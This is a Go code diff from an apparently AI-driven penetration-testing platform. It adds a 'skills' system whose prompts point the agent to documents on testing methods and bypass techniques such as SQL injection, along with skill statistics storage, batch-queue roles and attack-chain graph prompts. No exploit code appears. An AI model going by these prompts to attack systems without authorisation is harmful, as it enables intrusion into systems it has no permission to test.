- 建议在执行相关任务前,先使用 ` + builtin.ToolListSkills + ` 查看可用skills,然后根据任务需要调用 ` + builtin.ToolReadSkill + ` 获取相关专业技能
- 例如:如果需要测试SQL注入,可以先调用 ` + builtin.ToolListSkills + ` 查看是否有sql-injection相关的skill,然后调用 ` + builtin.ToolReadSkill + ` 读取该skill的内容
- Skills内容包含完整的测试方法、工具使用、绕过技巧、最佳实践等专业技能文档,可以帮助你更专业地执行任务`
// 如果角色配置了skills,在系统提示词中提示AI(但不硬编码内容)
if len(roleSkills) > 0 {
var skillsHint strings.Builder
skillsHint.WriteString("\n\n本角色推荐使用的Skills\n")
for i, skillName := range roleSkills {
if i > 0 {
skillsHint.WriteString("、")
}
skillsHint.WriteString("`")
skillsHint.WriteString(skillName)
skillsHint.WriteString("`")
}
skillsHint.WriteString("\n- 这些skills包含了与本角色相关的专业技能文档,建议在执行相关任务时使用 `")
skillsHint.WriteString(builtin.ToolReadSkill)
skillsHint.WriteString("` 工具读取这些skills的内容")
skillsHint.WriteString("\n- 例如:`")
skillsHint.WriteString(builtin.ToolReadSkill)
skillsHint.WriteString("(skill_name=\"")
skillsHint.WriteString(roleSkills[0])
skillsHint.WriteString("\")` 可以读取第一个推荐skill的内容")
skillsHint.WriteString("\n- 注意:这些skills的内容不会自动注入,需要你根据任务需要主动调用 `")
skillsHint.WriteString(builtin.ToolReadSkill)
skillsHint.WriteString("` 工具获取")
systemPrompt += skillsHint.String()
}
messages := []ChatMessage{
{
+88 -46
View File
@@ -19,6 +19,7 @@ import (
"cyberstrike-ai/internal/mcp/builtin"
"cyberstrike-ai/internal/openai"
"cyberstrike-ai/internal/security"
"cyberstrike-ai/internal/skills"
"cyberstrike-ai/internal/storage"
"github.com/gin-gonic/gin"
@@ -215,53 +216,53 @@ func New(cfg *config.Config, log *logger.Logger) (*App, error) {
return
}
if hasIndex {
// 如果已有索引,只索引新添加或更新的项
if len(itemsToIndex) > 0 {
log.Logger.Info("检测到已有知识库索引,开始增量索引", zap.Int("count", len(itemsToIndex)))
ctx := context.Background()
consecutiveFailures := 0
var firstFailureItemID string
var firstFailureError error
failedCount := 0
for _, itemID := range itemsToIndex {
if err := knowledgeIndexer.IndexItem(ctx, itemID); err != nil {
failedCount++
consecutiveFailures++
if consecutiveFailures == 1 {
firstFailureItemID = itemID
firstFailureError = err
log.Logger.Warn("索引知识项失败", zap.String("itemId", itemID), zap.Error(err))
}
// 如果连续失败2次,立即停止增量索引
if consecutiveFailures >= 2 {
log.Logger.Error("连续索引失败次数过多,立即停止增量索引",
zap.Int("consecutiveFailures", consecutiveFailures),
zap.Int("totalItems", len(itemsToIndex)),
zap.String("firstFailureItemId", firstFailureItemID),
zap.Error(firstFailureError),
)
break
}
continue
if hasIndex {
// 如果已有索引,只索引新添加或更新的项
if len(itemsToIndex) > 0 {
log.Logger.Info("检测到已有知识库索引,开始增量索引", zap.Int("count", len(itemsToIndex)))
ctx := context.Background()
consecutiveFailures := 0
var firstFailureItemID string
var firstFailureError error
failedCount := 0
for _, itemID := range itemsToIndex {
if err := knowledgeIndexer.IndexItem(ctx, itemID); err != nil {
failedCount++
consecutiveFailures++
if consecutiveFailures == 1 {
firstFailureItemID = itemID
firstFailureError = err
log.Logger.Warn("索引知识项失败", zap.String("itemId", itemID), zap.Error(err))
}
// 成功时重置连续失败计数
if consecutiveFailures > 0 {
consecutiveFailures = 0
firstFailureItemID = ""
firstFailureError = nil
// 如果连续失败2次,立即停止增量索引
if consecutiveFailures >= 2 {
log.Logger.Error("连续索引失败次数过多,立即停止增量索引",
zap.Int("consecutiveFailures", consecutiveFailures),
zap.Int("totalItems", len(itemsToIndex)),
zap.String("firstFailureItemId", firstFailureItemID),
zap.Error(firstFailureError),
)
break
}
continue
}
// 成功时重置连续失败计数
if consecutiveFailures > 0 {
consecutiveFailures = 0
firstFailureItemID = ""
firstFailureError = nil
}
log.Logger.Info("增量索引完成", zap.Int("totalItems", len(itemsToIndex)), zap.Int("failedCount", failedCount))
} else {
log.Logger.Info("检测到已有知识库索引,没有需要索引的新项或更新项")
}
return
log.Logger.Info("增量索引完成", zap.Int("totalItems", len(itemsToIndex)), zap.Int("failedCount", failedCount))
} else {
log.Logger.Info("检测到已有知识库索引,没有需要索引的新项或更新项")
}
return
}
// 只有在没有索引时才自动重建
log.Logger.Info("未检测到知识库索引,开始自动构建索引")
@@ -278,8 +279,30 @@ func New(cfg *config.Config, log *logger.Logger) (*App, error) {
configPath = os.Args[1]
}
// 初始化Skills管理器
skillsDir := cfg.SkillsDir
if skillsDir == "" {
skillsDir = "skills" // 默认目录
}
// 如果是相对路径,相对于配置文件所在目录
configDir := filepath.Dir(configPath)
if !filepath.IsAbs(skillsDir) {
skillsDir = filepath.Join(configDir, skillsDir)
}
skillsManager := skills.NewManager(skillsDir, log.Logger)
log.Logger.Info("Skills管理器已初始化", zap.String("skillsDir", skillsDir))
// 注册Skills工具到MCP服务器(让AI可以按需调用,带数据库存储支持统计)
// 创建一个适配器,将database.DB适配为SkillStatsStorage接口
var skillStatsStorage skills.SkillStatsStorage
if db != nil {
skillStatsStorage = &skillStatsDBAdapter{db: db}
}
skills.RegisterSkillsToolWithStorage(mcpServer, skillsManager, skillStatsStorage, log.Logger)
// 创建处理器
agentHandler := handler.NewAgentHandler(agent, db, cfg, log.Logger)
agentHandler.SetSkillsManager(skillsManager) // 设置Skills管理器
// 如果知识库已启用,设置知识库管理器到AgentHandler以便记录检索日志
if knowledgeManager != nil {
agentHandler.SetKnowledgeManager(knowledgeManager)
@@ -294,6 +317,11 @@ func New(cfg *config.Config, log *logger.Logger) (*App, error) {
configHandler := handler.NewConfigHandler(configPath, cfg, mcpServer, executor, agent, attackChainHandler, externalMCPMgr, log.Logger)
externalMCPHandler := handler.NewExternalMCPHandler(externalMCPMgr, cfg, configPath, log.Logger)
roleHandler := handler.NewRoleHandler(cfg, configPath, log.Logger)
roleHandler.SetSkillsManager(skillsManager) // 设置Skills管理器到RoleHandler
skillsHandler := handler.NewSkillsHandler(skillsManager, cfg, configPath, log.Logger)
if db != nil {
skillsHandler.SetDB(db) // 设置数据库连接以便获取调用统计
}
// 创建 App 实例(部分字段稍后填充)
app := &App{
@@ -371,6 +399,7 @@ func New(cfg *config.Config, log *logger.Logger) (*App, error) {
app, // 传递 App 实例以便动态获取 knowledgeHandler
vulnerabilityHandler,
roleHandler,
skillsHandler,
mcpServer,
authManager,
)
@@ -432,6 +461,7 @@ func setupRoutes(
app *App, // 传递 App 实例以便动态获取 knowledgeHandler
vulnerabilityHandler *handler.VulnerabilityHandler,
roleHandler *handler.RoleHandler,
skillsHandler *handler.SkillsHandler,
mcpServer *mcp.Server,
authManager *security.AuthManager,
) {
@@ -660,10 +690,22 @@ func setupRoutes(
// 角色管理
protected.GET("/roles", roleHandler.GetRoles)
protected.GET("/roles/:name", roleHandler.GetRole)
protected.GET("/roles/skills/list", roleHandler.GetSkills)
protected.POST("/roles", roleHandler.CreateRole)
protected.PUT("/roles/:name", roleHandler.UpdateRole)
protected.DELETE("/roles/:name", roleHandler.DeleteRole)
// Skills管理
protected.GET("/skills", skillsHandler.GetSkills)
protected.GET("/skills/stats", skillsHandler.GetSkillStats)
protected.DELETE("/skills/stats", skillsHandler.ClearSkillStats)
protected.GET("/skills/:name", skillsHandler.GetSkill)
protected.GET("/skills/:name/bound-roles", skillsHandler.GetSkillBoundRoles)
protected.POST("/skills", skillsHandler.CreateSkill)
protected.PUT("/skills/:name", skillsHandler.UpdateSkill)
protected.DELETE("/skills/:name", skillsHandler.DeleteSkill)
protected.DELETE("/skills/:name/stats", skillsHandler.ClearSkillStatsByName)
// MCP端点
protected.POST("/mcp", func(c *gin.Context) {
mcpServer.HandleHTTP(c.Writer, c.Request)
@@ -979,18 +1021,18 @@ func initializeKnowledge(
var firstFailureItemID string
var firstFailureError error
failedCount := 0
for _, itemID := range itemsToIndex {
if err := knowledgeIndexer.IndexItem(ctx, itemID); err != nil {
failedCount++
consecutiveFailures++
if consecutiveFailures == 1 {
firstFailureItemID = itemID
firstFailureError = err
logger.Warn("索引知识项失败", zap.String("itemId", itemID), zap.Error(err))
}
// 如果连续失败2次,立即停止增量索引
if consecutiveFailures >= 2 {
logger.Error("连续索引失败次数过多,立即停止增量索引",
@@ -1003,7 +1045,7 @@ func initializeKnowledge(
}
continue
}
// 成功时重置连续失败计数
if consecutiveFailures > 0 {
consecutiveFailures = 0
+40
View File
@@ -0,0 +1,40 @@
package app
import (
"time"
"cyberstrike-ai/internal/database"
"cyberstrike-ai/internal/skills"
)
// skillStatsDBAdapter 将database.DB适配为skills.SkillStatsStorage接口
type skillStatsDBAdapter struct {
db *database.DB
}
// UpdateSkillStats 更新Skills统计信息
func (a *skillStatsDBAdapter) UpdateSkillStats(skillName string, totalCalls, successCalls, failedCalls int, lastCallTime *time.Time) error {
return a.db.UpdateSkillStats(skillName, totalCalls, successCalls, failedCalls, lastCallTime)
}
// LoadSkillStats 加载所有Skills统计信息
func (a *skillStatsDBAdapter) LoadSkillStats() (map[string]*skills.SkillStats, error) {
dbStats, err := a.db.LoadSkillStats()
if err != nil {
return nil, err
}
// 转换为skills.SkillStats格式
result := make(map[string]*skills.SkillStats)
for name, stat := range dbStats {
result[name] = &skills.SkillStats{
SkillName: stat.SkillName,
TotalCalls: stat.TotalCalls,
SuccessCalls: stat.SuccessCalls,
FailedCalls: stat.FailedCalls,
LastCallTime: stat.LastCallTime,
}
}
return result, nil
}
+24 -15
View File
@@ -466,14 +466,21 @@ func (b *Builder) buildSimplePrompt(reactInput, modelOutput string) string {
- **权重5-7**:强关联(如发现漏洞、关键信息泄露)
- **权重8-10**:极强关联(如漏洞利用成功、权限提升)
### DAG结构要求(树状图)
- 所有边的source节点id必须小于target节点id(确保无环)
- 节点id从"node_1"开始递增
- 确保无孤立节点(每个节点至少有一条边连接
- **树状结构要求**
* 一个节点可以有多个后续节点(分支),例如:端口扫描节点可以同时连接到"Web服务识别"、"FTP服务识别"、"SSH服务识别"等多个节点
* 多个节点可以汇聚到一个节点(汇聚),例如:多个不同的测试都指向同一个漏洞节点
* 避免将所有节点连成一条线,应该根据实际的并行测试和分支探索构建树状结构
### DAG结构要求(有向无环图)
**关键:必须确保生成的是真正的DAG(有向无环图),不能有任何循环。**
- **节点编号规则**:节点id从"node_1"开始递增(node_1, node_2, node_3...
- **边的方向规则**:所有边的source节点id必须严格小于target节点idsource < target),这是确保无环的关键
* 例如:node_1 → node_2 ✓(正确)
* 例如:node_2 → node_1 ✗(错误,会形成环)
* 例如:node_3 → node_5 ✓(正确)
- **无环验证**:在输出JSON前,必须检查所有边,确保没有任何一条边的source >= target
- **无孤立节点**:确保每个节点至少有一条边连接(除了可能的根节点)
- **DAG结构特点**
* 一个节点可以有多个后续节点(分支),例如:node_2(端口扫描)可以同时连接到node_3、node_4、node_5等多个节点
* 多个节点可以汇聚到一个节点(汇聚),例如:node_3、node_4、node_5都指向node_6(漏洞节点)
* 避免将所有节点连成一条线,应该根据实际的并行测试和分支探索构建DAG结构
- **拓扑排序验证**:如果按照节点id从小到大排序,所有边都应该从左指向右(从上指向下),这样就能保证无环
## 攻击链逻辑连贯性要求
@@ -609,13 +616,15 @@ func (b *Builder) buildSimplePrompt(reactInput, modelOutput string) string {
## 重要提醒
1. **严禁杜撰**:只使用ReAct输入中实际执行的工具和实际返回的结果。如无实际数据,返回空的nodes和edges数组。
2. **树状结构优先**:必须构建树状结构,而不是线性链。一个节点可以有多个后续节点(分支),多个节点可以指向同一个节点(汇聚)。避免将所有节点连成一条线
3. **完整性优先**:必须包含所有有意义的工具执行和关键步骤,不要为了控制节点数量而删除重要节点。攻击链必须能够完整展现从目标识别到漏洞发现的完整过程
4. **逻辑连贯**:确保攻击链能够讲述一个完整、连贯的渗透测试故事,包括所有关键步骤和决策点
5. **教育价值**:优先保留有教育意义的节点,帮助学习者理解渗透测试思维和完整流程
6. **准确性**:所有节点信息必须基于实际数据,不要推测或假设
7. **完整性检查**:确保每个节点都有必要的metadata字段,每条边都有正确的source和target,没有孤立节点
8. **不要过度精简**:如果实际执行步骤较多,可以适当增加节点数量(最多20个),确保不遗漏关键步骤
2. **DAG结构必须**:必须构建真正的DAG(有向无环图),不能有任何循环。所有边的source节点id必须严格小于target节点idsource < target
3. **拓扑顺序**:节点应该按照逻辑顺序编号,target节点通常是node_1,后续的action节点按执行顺序递增,vulnerability节点在最后
4. **完整性优先**:必须包含所有有意义的工具执行和关键步骤,不要为了控制节点数量而删除重要节点。攻击链必须能够完整展现从目标识别到漏洞发现的完整过程
5. **逻辑连贯**:确保攻击链能够讲述一个完整、连贯的渗透测试故事,包括所有关键步骤和决策点
6. **教育价值**:优先保留有教育意义的节点,帮助学习者理解渗透测试思维和完整流程
7. **准确性**:所有节点信息必须基于实际数据,不要推测或假设
8. **完整性检查**:确保每个节点都有必要的metadata字段,每条边都有正确的source和target,没有孤立节点,没有循环
9. **不要过度精简**:如果实际执行步骤较多,可以适当增加节点数量(最多20个),确保不遗漏关键步骤。
10. **输出前验证**:在输出JSON前,必须验证所有边都满足source < target的条件,确保DAG结构正确。
现在开始分析并构建攻击链:`, reactInput, modelOutput)
}
+2
View File
@@ -25,6 +25,7 @@ type Config struct {
Knowledge KnowledgeConfig `yaml:"knowledge,omitempty"`
RolesDir string `yaml:"roles_dir,omitempty" json:"roles_dir,omitempty"` // 角色配置文件目录(新方式)
Roles map[string]RoleConfig `yaml:"roles,omitempty" json:"roles,omitempty"` // 向后兼容:支持在主配置文件中定义角色
SkillsDir string `yaml:"skills_dir,omitempty" json:"skills_dir,omitempty"` // Skills配置文件目录
}
type ServerConfig struct {
@@ -581,5 +582,6 @@ type RoleConfig struct {
Icon string `yaml:"icon,omitempty" json:"icon,omitempty"` // 角色图标(可选)
Tools []string `yaml:"tools,omitempty" json:"tools,omitempty"` // 关联的工具列表(toolKey格式,如 "toolName" 或 "mcpName::toolName"
MCPs []string `yaml:"mcps,omitempty" json:"mcps,omitempty"` // 向后兼容:关联的MCP服务器列表(已废弃,使用tools替代)
Skills []string `yaml:"skills,omitempty" json:"skills,omitempty"` // 关联的skills列表(skill名称列表,在执行任务前会读取这些skills的内容)
Enabled bool `yaml:"enabled" json:"enabled"` // 是否启用
}
+10 -9
View File
@@ -12,6 +12,7 @@ import (
type BatchTaskQueueRow struct {
ID string
Title sql.NullString
Role sql.NullString
Status string
CreatedAt time.Time
StartedAt sql.NullTime
@@ -33,7 +34,7 @@ type BatchTaskRow struct {
}
// CreateBatchQueue 创建批量任务队列
func (db *DB) CreateBatchQueue(queueID string, title string, tasks []map[string]interface{}) error {
func (db *DB) CreateBatchQueue(queueID string, title string, role string, tasks []map[string]interface{}) error {
tx, err := db.Begin()
if err != nil {
return fmt.Errorf("开始事务失败: %w", err)
@@ -42,8 +43,8 @@ func (db *DB) CreateBatchQueue(queueID string, title string, tasks []map[string]
now := time.Now()
_, err = tx.Exec(
"INSERT INTO batch_task_queues (id, title, status, created_at, current_index) VALUES (?, ?, ?, ?, ?)",
queueID, title, "pending", now, 0,
"INSERT INTO batch_task_queues (id, title, role, status, created_at, current_index) VALUES (?, ?, ?, ?, ?, ?)",
queueID, title, role, "pending", now, 0,
)
if err != nil {
return fmt.Errorf("创建批量任务队列失败: %w", err)
@@ -77,9 +78,9 @@ func (db *DB) GetBatchQueue(queueID string) (*BatchTaskQueueRow, error) {
var row BatchTaskQueueRow
var createdAt string
err := db.QueryRow(
"SELECT id, title, status, created_at, started_at, completed_at, current_index FROM batch_task_queues WHERE id = ?",
"SELECT id, title, role, status, created_at, started_at, completed_at, current_index FROM batch_task_queues WHERE id = ?",
queueID,
).Scan(&row.ID, &row.Title, &row.Status, &createdAt, &row.StartedAt, &row.CompletedAt, &row.CurrentIndex)
).Scan(&row.ID, &row.Title, &row.Role, &row.Status, &createdAt, &row.StartedAt, &row.CompletedAt, &row.CurrentIndex)
if err == sql.ErrNoRows {
return nil, nil
}
@@ -103,7 +104,7 @@ func (db *DB) GetBatchQueue(queueID string) (*BatchTaskQueueRow, error) {
// GetAllBatchQueues 获取所有批量任务队列
func (db *DB) GetAllBatchQueues() ([]*BatchTaskQueueRow, error) {
rows, err := db.Query(
"SELECT id, title, status, created_at, started_at, completed_at, current_index FROM batch_task_queues ORDER BY created_at DESC",
"SELECT id, title, role, status, created_at, started_at, completed_at, current_index FROM batch_task_queues ORDER BY created_at DESC",
)
if err != nil {
return nil, fmt.Errorf("查询批量任务队列列表失败: %w", err)
@@ -114,7 +115,7 @@ func (db *DB) GetAllBatchQueues() ([]*BatchTaskQueueRow, error) {
for rows.Next() {
var row BatchTaskQueueRow
var createdAt string
if err := rows.Scan(&row.ID, &row.Title, &row.Status, &createdAt, &row.StartedAt, &row.CompletedAt, &row.CurrentIndex); err != nil {
if err := rows.Scan(&row.ID, &row.Title, &row.Role, &row.Status, &createdAt, &row.StartedAt, &row.CompletedAt, &row.CurrentIndex); err != nil {
return nil, fmt.Errorf("扫描批量任务队列失败: %w", err)
}
parsedTime, parseErr := time.Parse("2006-01-02 15:04:05", createdAt)
@@ -134,7 +135,7 @@ func (db *DB) GetAllBatchQueues() ([]*BatchTaskQueueRow, error) {
// ListBatchQueues 列出批量任务队列(支持筛选和分页)
func (db *DB) ListBatchQueues(limit, offset int, status, keyword string) ([]*BatchTaskQueueRow, error) {
query := "SELECT id, title, status, created_at, started_at, completed_at, current_index FROM batch_task_queues WHERE 1=1"
query := "SELECT id, title, role, status, created_at, started_at, completed_at, current_index FROM batch_task_queues WHERE 1=1"
args := []interface{}{}
// 状态筛选
@@ -162,7 +163,7 @@ func (db *DB) ListBatchQueues(limit, offset int, status, keyword string) ([]*Bat
for rows.Next() {
var row BatchTaskQueueRow
var createdAt string
if err := rows.Scan(&row.ID, &row.Title, &row.Status, &createdAt, &row.StartedAt, &row.CompletedAt, &row.CurrentIndex); err != nil {
if err := rows.Scan(&row.ID, &row.Title, &row.Role, &row.Status, &createdAt, &row.StartedAt, &row.CompletedAt, &row.CurrentIndex); err != nil {
return nil, fmt.Errorf("扫描批量任务队列失败: %w", err)
}
parsedTime, parseErr := time.Parse("2006-01-02 15:04:05", createdAt)
+35 -1
View File
@@ -104,6 +104,17 @@ func (db *DB) initTables() error {
updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
);`
// 创建Skills统计表
createSkillStatsTable := `
CREATE TABLE IF NOT EXISTS skill_stats (
skill_name TEXT PRIMARY KEY,
total_calls INTEGER NOT NULL DEFAULT 0,
success_calls INTEGER NOT NULL DEFAULT 0,
failed_calls INTEGER NOT NULL DEFAULT 0,
last_call_time DATETIME,
updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
);`
// 创建攻击链节点表
createAttackChainNodesTable := `
CREATE TABLE IF NOT EXISTS attack_chain_nodes (
@@ -264,6 +275,10 @@ func (db *DB) initTables() error {
return fmt.Errorf("创建tool_stats表失败: %w", err)
}
if _, err := db.Exec(createSkillStatsTable); err != nil {
return fmt.Errorf("创建skill_stats表失败: %w", err)
}
if _, err := db.Exec(createAttackChainNodesTable); err != nil {
return fmt.Errorf("创建attack_chain_nodes表失败: %w", err)
}
@@ -433,7 +448,7 @@ func (db *DB) migrateConversationGroupMappingsTable() error {
return nil
}
// migrateBatchTaskQueuesTable 迁移batch_task_queues表,添加title字段
// migrateBatchTaskQueuesTable 迁移batch_task_queues表,添加title和role字段
func (db *DB) migrateBatchTaskQueuesTable() error {
// 检查title字段是否存在
var count int
@@ -454,6 +469,25 @@ func (db *DB) migrateBatchTaskQueuesTable() error {
}
}
// 检查role字段是否存在
var roleCount int
err = db.QueryRow("SELECT COUNT(*) FROM pragma_table_info('batch_task_queues') WHERE name='role'").Scan(&roleCount)
if err != nil {
// 如果查询失败,尝试添加字段
if _, addErr := db.Exec("ALTER TABLE batch_task_queues ADD COLUMN role TEXT"); addErr != nil {
// 如果字段已存在,忽略错误
errMsg := strings.ToLower(addErr.Error())
if !strings.Contains(errMsg, "duplicate column") && !strings.Contains(errMsg, "already exists") {
db.logger.Warn("添加role字段失败", zap.Error(addErr))
}
}
} else if roleCount == 0 {
// 字段不存在,添加它
if _, err := db.Exec("ALTER TABLE batch_task_queues ADD COLUMN role TEXT"); err != nil {
db.logger.Warn("添加role字段失败", zap.Error(err))
}
}
return nil
}
+142
View File
@@ -0,0 +1,142 @@
package database
import (
"database/sql"
"time"
"go.uber.org/zap"
)
// SkillStats Skills统计信息
type SkillStats struct {
SkillName string
TotalCalls int
SuccessCalls int
FailedCalls int
LastCallTime *time.Time
}
// SaveSkillStats 保存Skills统计信息
func (db *DB) SaveSkillStats(skillName string, stats *SkillStats) error {
var lastCallTime sql.NullTime
if stats.LastCallTime != nil {
lastCallTime = sql.NullTime{Time: *stats.LastCallTime, Valid: true}
}
query := `
INSERT OR REPLACE INTO skill_stats
(skill_name, total_calls, success_calls, failed_calls, last_call_time, updated_at)
VALUES (?, ?, ?, ?, ?, ?)
`
_, err := db.Exec(query,
skillName,
stats.TotalCalls,
stats.SuccessCalls,
stats.FailedCalls,
lastCallTime,
time.Now(),
)
if err != nil {
db.logger.Error("保存Skills统计信息失败", zap.Error(err), zap.String("skillName", skillName))
return err
}
return nil
}
// LoadSkillStats 加载所有Skills统计信息
func (db *DB) LoadSkillStats() (map[string]*SkillStats, error) {
query := `
SELECT skill_name, total_calls, success_calls, failed_calls, last_call_time
FROM skill_stats
`
rows, err := db.Query(query)
if err != nil {
return nil, err
}
defer rows.Close()
stats := make(map[string]*SkillStats)
for rows.Next() {
var stat SkillStats
var lastCallTime sql.NullTime
err := rows.Scan(
&stat.SkillName,
&stat.TotalCalls,
&stat.SuccessCalls,
&stat.FailedCalls,
&lastCallTime,
)
if err != nil {
db.logger.Warn("加载Skills统计信息失败", zap.Error(err))
continue
}
if lastCallTime.Valid {
stat.LastCallTime = &lastCallTime.Time
}
stats[stat.SkillName] = &stat
}
return stats, nil
}
// UpdateSkillStats 更新Skills统计信息(累加模式)
func (db *DB) UpdateSkillStats(skillName string, totalCalls, successCalls, failedCalls int, lastCallTime *time.Time) error {
var lastCallTimeSQL sql.NullTime
if lastCallTime != nil {
lastCallTimeSQL = sql.NullTime{Time: *lastCallTime, Valid: true}
}
query := `
INSERT INTO skill_stats (skill_name, total_calls, success_calls, failed_calls, last_call_time, updated_at)
VALUES (?, ?, ?, ?, ?, ?)
ON CONFLICT(skill_name) DO UPDATE SET
total_calls = total_calls + ?,
success_calls = success_calls + ?,
failed_calls = failed_calls + ?,
last_call_time = COALESCE(?, last_call_time),
updated_at = ?
`
_, err := db.Exec(query,
skillName, totalCalls, successCalls, failedCalls, lastCallTimeSQL, time.Now(),
totalCalls, successCalls, failedCalls, lastCallTimeSQL, time.Now(),
)
if err != nil {
db.logger.Error("更新Skills统计信息失败", zap.Error(err), zap.String("skillName", skillName))
return err
}
return nil
}
// ClearSkillStats 清空所有Skills统计信息
func (db *DB) ClearSkillStats() error {
query := `DELETE FROM skill_stats`
_, err := db.Exec(query)
if err != nil {
db.logger.Error("清空Skills统计信息失败", zap.Error(err))
return err
}
db.logger.Info("已清空所有Skills统计信息")
return nil
}
// ClearSkillStatsByName 清空指定skill的统计信息
func (db *DB) ClearSkillStatsByName(skillName string) error {
query := `DELETE FROM skill_stats WHERE skill_name = ?`
_, err := db.Exec(query, skillName)
if err != nil {
db.logger.Error("清空指定skill统计信息失败", zap.Error(err), zap.String("skillName", skillName))
return err
}
db.logger.Info("已清空指定skill统计信息", zap.String("skillName", skillName))
return nil
}
+65 -8
View File
@@ -15,6 +15,7 @@ import (
"cyberstrike-ai/internal/config"
"cyberstrike-ai/internal/database"
"cyberstrike-ai/internal/mcp/builtin"
"cyberstrike-ai/internal/skills"
"github.com/gin-gonic/gin"
"go.uber.org/zap"
@@ -72,6 +73,7 @@ type AgentHandler struct {
knowledgeManager interface { // 知识库管理器接口
LogRetrieval(conversationID, messageID, query, riskType string, retrievedItems []string) error
}
skillsManager *skills.Manager // Skills管理器
}
// NewAgentHandler 创建新的Agent处理器
@@ -101,6 +103,11 @@ func (h *AgentHandler) SetKnowledgeManager(manager interface {
h.knowledgeManager = manager
}
// SetSkillsManager 设置Skills管理器
func (h *AgentHandler) SetSkillsManager(manager *skills.Manager) {
h.skillsManager = manager
}
// ChatRequest 聊天请求
type ChatRequest struct {
Message string `json:"message" binding:"required"`
@@ -169,6 +176,7 @@ func (h *AgentHandler) AgentLoop(c *gin.Context) {
// 应用角色用户提示词和工具配置
finalMessage := req.Message
var roleTools []string // 角色配置的工具列表
var roleSkills []string // 角色配置的skills列表(用于提示AI,但不硬编码内容)
if req.Role != "" && req.Role != "默认" {
if h.config.Roles != nil {
if role, exists := h.config.Roles[req.Role]; exists && role.Enabled {
@@ -182,6 +190,11 @@ func (h *AgentHandler) AgentLoop(c *gin.Context) {
roleTools = role.Tools
h.logger.Info("使用角色配置的工具列表", zap.String("role", req.Role), zap.Int("toolCount", len(roleTools)))
}
// 获取角色配置的skills列表(用于在系统提示词中提示AI,但不硬编码内容)
if len(role.Skills) > 0 {
roleSkills = role.Skills
h.logger.Info("角色配置了skills,将在系统提示词中提示AI", zap.String("role", req.Role), zap.Int("skillCount", len(roleSkills)), zap.Strings("skills", roleSkills))
}
}
}
}
@@ -193,7 +206,8 @@ func (h *AgentHandler) AgentLoop(c *gin.Context) {
}
// 执行Agent Loop,传入历史消息和对话ID(使用包含角色提示词的finalMessage和角色工具列表)
result, err := h.agent.AgentLoopWithProgress(c.Request.Context(), finalMessage, agentHistoryMessages, conversationID, nil, roleTools)
// 注意:skills不会硬编码注入,但会在系统提示词中提示AI这个角色推荐使用哪些skills
result, err := h.agent.AgentLoopWithProgress(c.Request.Context(), finalMessage, agentHistoryMessages, conversationID, nil, roleTools, roleSkills)
if err != nil {
h.logger.Error("Agent Loop执行失败", zap.Error(err))
@@ -515,6 +529,10 @@ func (h *AgentHandler) AgentLoopStream(c *gin.Context) {
// 因为mcps是MCP服务器名称,不是工具列表
h.logger.Info("角色配置使用旧的mcps字段,将使用所有工具", zap.String("role", req.Role))
}
// 注意:角色配置的skills不再硬编码注入,AI可以通过list_skills和read_skill工具按需调用
if len(role.Skills) > 0 {
h.logger.Info("角色配置了skillsAI可通过工具按需调用", zap.String("role", req.Role), zap.Int("skillCount", len(role.Skills)), zap.Strings("skills", role.Skills))
}
}
}
}
@@ -599,7 +617,18 @@ func (h *AgentHandler) AgentLoopStream(c *gin.Context) {
// 执行Agent Loop,传入独立的上下文,确保任务不会因客户端断开而中断(使用包含角色提示词的finalMessage和角色工具列表)
sendEvent("progress", "正在分析您的请求...", nil)
result, err := h.agent.AgentLoopWithProgress(taskCtx, finalMessage, agentHistoryMessages, conversationID, progressCallback, roleTools)
// 注意:skills不会硬编码注入,但会在系统提示词中提示AI这个角色推荐使用哪些skills
var roleSkills []string // 角色配置的skills列表(用于提示AI,但不硬编码内容)
if req.Role != "" && req.Role != "默认" {
if h.config.Roles != nil {
if role, exists := h.config.Roles[req.Role]; exists && role.Enabled {
if len(role.Skills) > 0 {
roleSkills = role.Skills
}
}
}
}
result, err := h.agent.AgentLoopWithProgress(taskCtx, finalMessage, agentHistoryMessages, conversationID, progressCallback, roleTools, roleSkills)
if err != nil {
h.logger.Error("Agent Loop执行失败", zap.Error(err))
cause := context.Cause(baseCtx)
@@ -811,6 +840,7 @@ func (h *AgentHandler) ListCompletedTasks(c *gin.Context) {
type BatchTaskRequest struct {
Title string `json:"title"` // 任务标题(可选)
Tasks []string `json:"tasks" binding:"required"` // 任务列表,每行一个任务
Role string `json:"role,omitempty"` // 角色名称(可选,空字符串表示默认角色)
}
// CreateBatchQueue 创建批量任务队列
@@ -839,7 +869,7 @@ func (h *AgentHandler) CreateBatchQueue(c *gin.Context) {
return
}
queue := h.batchTaskManager.CreateBatchQueue(req.Title, validTasks)
queue := h.batchTaskManager.CreateBatchQueue(req.Title, req.Role, validTasks)
c.JSON(http.StatusOK, gin.H{
"queueId": queue.ID,
"queue": queue,
@@ -1095,7 +1125,33 @@ func (h *AgentHandler) executeBatchQueue(queueID string) {
// 保存conversationId到任务中(即使是运行中状态也要保存,以便查看对话)
h.batchTaskManager.UpdateTaskStatusWithConversationID(queueID, task.ID, "running", "", "", conversationID)
// 保存用户消息
// 应用角色用户提示词和工具配置
finalMessage := task.Message
var roleTools []string // 角色配置的工具列表
var roleSkills []string // 角色配置的skills列表(用于提示AI,但不硬编码内容)
if queue.Role != "" && queue.Role != "默认" {
if h.config.Roles != nil {
if role, exists := h.config.Roles[queue.Role]; exists && role.Enabled {
// 应用用户提示词
if role.UserPrompt != "" {
finalMessage = role.UserPrompt + "\n\n" + task.Message
h.logger.Info("应用角色用户提示词", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.String("role", queue.Role))
}
// 获取角色配置的工具列表(优先使用tools字段,向后兼容mcps字段)
if len(role.Tools) > 0 {
roleTools = role.Tools
h.logger.Info("使用角色配置的工具列表", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.String("role", queue.Role), zap.Int("toolCount", len(roleTools)))
}
// 获取角色配置的skills列表(用于在系统提示词中提示AI,但不硬编码内容)
if len(role.Skills) > 0 {
roleSkills = role.Skills
h.logger.Info("角色配置了skills,将在系统提示词中提示AI", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.String("role", queue.Role), zap.Int("skillCount", len(roleSkills)), zap.Strings("skills", roleSkills))
}
}
}
}
// 保存用户消息(保存原始消息,不包含角色提示词)
_, err = h.db.AddMessage(conversationID, "user", task.Message, nil)
if err != nil {
